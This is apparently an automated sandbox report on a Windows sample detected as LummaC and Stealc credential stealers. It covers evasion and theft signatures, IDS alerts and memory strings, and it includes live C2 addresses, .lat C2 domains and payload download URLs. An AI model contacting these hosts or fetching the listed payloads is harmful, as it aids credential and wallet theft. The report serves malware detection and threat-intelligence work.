Edit tour

Windows Analysis Report
20yLTIU4mS.exe

Overview

General Information

Sample name:	20yLTIU4mS.exe renamed because original name is a hash value
Original sample name:	bf56486b61f1a99182f133ac8a3937e6.exe
Analysis ID:	1579664
MD5:	bf56486b61f1a99182f133ac8a3937e6
SHA1:	36df5535aa7ac556ae518109824e06c99ea99245
SHA256:	5fd0d95b773360005ba3a149d3f63e3998be1c1b78e91d17d03c79d2168bbb1e
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Potentially malicious time measurement code found

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to detect virtual machines (SIDT)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

20yLTIU4mS.exe (PID: 3552 cmdline: "C:\Users\user\Desktop\20yLTIU4mS.exe" MD5: BF56486B61F1A99182F133AC8A3937E6)

ARULVP7S24STX85EO46I8EXOL.exe (PID: 3292 cmdline: "C:\Users\user\AppData\Local\Temp\ARULVP7S24STX85EO46I8EXOL.exe" MD5: 97B29CE33CCFE8A2B642BD236A0DD337)

VVRXVZ2T118YVIGZN2.exe (PID: 6020 cmdline: "C:\Users\user\AppData\Local\Temp\VVRXVZ2T118YVIGZN2.exe" MD5: 225AD75097A8A68691F54CA412436016)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["grannyejh.lat", "necklacebudi.lat", "energyaffai.lat", "discokeyus.lat", "sustainskelet.lat", "aspecteirs.lat", "sweepyribs.lat", "rapeflowwj.lat", "crosshuaht.lat"], "Build id": "PsFKDg--pablo"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2236151361.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2490759990.0000000000DE1000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2212584099.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2242278053.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000003.2449354985.0000000004870000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2241647492.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000004.00000002.2489849781.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2236254752.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2212101743.0000000000DB8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2214000519.0000000000E12000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2241606236.0000000000E12000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 20yLTIU4mS.exe PID: 3552	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 20yLTIU4mS.exe PID: 3552	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 20yLTIU4mS.exe PID: 3552	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: VVRXVZ2T118YVIGZN2.exe PID: 6020	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: VVRXVZ2T118YVIGZN2.exe PID: 6020	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 13 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:15:37.377800+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	23.55.153.106	443	TCP
2024-12-23T07:15:39.747896+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	104.21.66.86	443	TCP
2024-12-23T07:15:41.755196+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	104.21.66.86	443	TCP
2024-12-23T07:15:44.404778+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	104.21.66.86	443	TCP
2024-12-23T07:15:46.584560+0100	2028371	3	Unknown Traffic	192.168.2.5	49708	104.21.66.86	443	TCP
2024-12-23T07:15:48.900987+0100	2028371	3	Unknown Traffic	192.168.2.5	49711	104.21.66.86	443	TCP
2024-12-23T07:15:51.824104+0100	2028371	3	Unknown Traffic	192.168.2.5	49714	104.21.66.86	443	TCP
2024-12-23T07:15:54.556785+0100	2028371	3	Unknown Traffic	192.168.2.5	49727	104.21.66.86	443	TCP
2024-12-23T07:15:58.223214+0100	2028371	3	Unknown Traffic	192.168.2.5	49733	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:15:40.499088+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	104.21.66.86	443	TCP
2024-12-23T07:15:42.812601+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49706	104.21.66.86	443	TCP
2024-12-23T07:15:58.998618+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49733	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:15:40.499088+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49705	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:15:42.812601+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49706	104.21.66.86	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:16:00.465374+0100	2019714	2	Potentially Bad Traffic	192.168.2.5	49739	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:15:35.182906+0100	2058354	1	Domain Observed Used for C2 Detected	192.168.2.5	59400	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:15:35.533749+0100	2058358	1	Domain Observed Used for C2 Detected	192.168.2.5	55976	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:15:34.744855+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.5	50516	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:15:35.041266+0100	2058362	1	Domain Observed Used for C2 Detected	192.168.2.5	60398	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:15:34.601945+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.5	58412	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:15:34.886036+0100	2058370	1	Domain Observed Used for C2 Detected	192.168.2.5	63582	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:15:35.692197+0100	2058374	1	Domain Observed Used for C2 Detected	192.168.2.5	52245	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:15:35.362178+0100	2058376	1	Domain Observed Used for C2 Detected	192.168.2.5	50897	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:15:34.453834+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.5	59889	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:15:52.894856+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49714	104.21.66.86	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:16:14.292092+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49771	185.215.113.206	80	TCP

ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:15:54.569045+0100	2843864	1	A Network Trojan was detected	192.168.2.5	49727	104.21.66.86	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T07:15:38.244745+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	49704	23.55.153.106	443	TCP

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: 20yLTIU4mS.exe, 00000000.00000003.2382269303.0000000000E14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: 20yLTIU4mS.exe, 00000000.00000003.2382269303.0000000000E14000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2489849781.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206
Source: VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2489849781.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2489849781.0000000000643000.00000004.00000020.00020000.00000000.sdmp, VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2489849781.0000000000673000.00000004.00000020.00020000.00000000.sdmp, VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2489849781.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2489849781.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php3
Source: VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2489849781.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php:
Source: VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2489849781.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpE
Source: VVRXVZ2T118YVIGZN2.exe, 00000004.00000002.2489849781.000000000065D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpH
Source: 20yLTIU4mS.exe, 00000000.00000003.2212719603.0000000005617000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: 20yLTIU4mS.exe, 00000000.00000003.2212719603.0000000005617000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: 20yLTIU4mS.exe, 00000000.00000003.2212719603.0000000005617000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: 20yLTIU4mS.exe, 00000000.00000003.2212719603.0000000005617000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: 20yLTIU4mS.exe, 00000000.00000003.2212719603.0000000005617000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: 20yLTIU4mS.exe, 00000000.00000003.2212719603.0000000005617000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: 20yLTIU4mS.exe, 00000000.00000003.2212719603.0000000005617000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: 20yLTIU4mS.exe, 00000000.00000003.2212719603.0000000005617000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: 20yLTIU4mS.exe, 00000000.00000003.2212719603.0000000005617000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: 20yLTIU4mS.exe, 00000000.00000003.2236151361.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212584099.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2214000519.0000000000E12000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241606236.0000000000E12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowe
Source: 20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167657780.0000000000E19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: 20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: 20yLTIU4mS.exe	String found in binary or memory: http://store.steampowered.com/subscriber
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: 20yLTIU4mS.exe, 00000000.00000003.2212719603.0000000005617000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: 20yLTIU4mS.exe, 00000000.00000003.2212719603.0000000005617000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: 20yLTIU4mS.exe, 00000000.00000003.2168879834.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168728951.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168663245.000000000559D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.fastly.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: 20yLTIU4mS.exe, 00000000.00000003.2236151361.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: 20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2242500446.0000000000E0C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: 20yLTIU4mS.exe, 00000000.00000003.2168879834.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168728951.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168663245.000000000559D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: 20yLTIU4mS.exe, 00000000.00000003.2168879834.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168728951.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168663245.000000000559D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: 20yLTIU4mS.exe, 00000000.00000003.2168879834.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168728951.000000000559A000.00000004.00000800.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2168663245.000000000559D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: 20yLTIU4mS.exe	String found in binary or memory: https://community.fastly.steamst
Source: 20yLTIU4mS.exe	String found in binary or memory: https://community.fastly.steamstatic.com/pu
Source: 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142587514.0000000000D6B000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/applications/community/main.css?v=Lj6X7NKUMfzk&a
Source: 20yLTIU4mS.exe, 20yLTIU4mS.exe, 00000000.00000003.2142545861.0000000000E0F000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2241647492.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2167905991.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2382539299.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2212101743.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2270218876.0000000000DF3000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2283721783.0000000000DF6000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2142751148.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp, 20yLTIU4mS.exe, 00000000.00000003.2236254752.0000000000DF1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/globalv2.css?v=hzEgqbtRcI5V&l=english&_c
Source: 20yLTIU4mS.exe	String found in binary or memory: https://community.fastly.steamstatic.com/public/css/promo/summer2
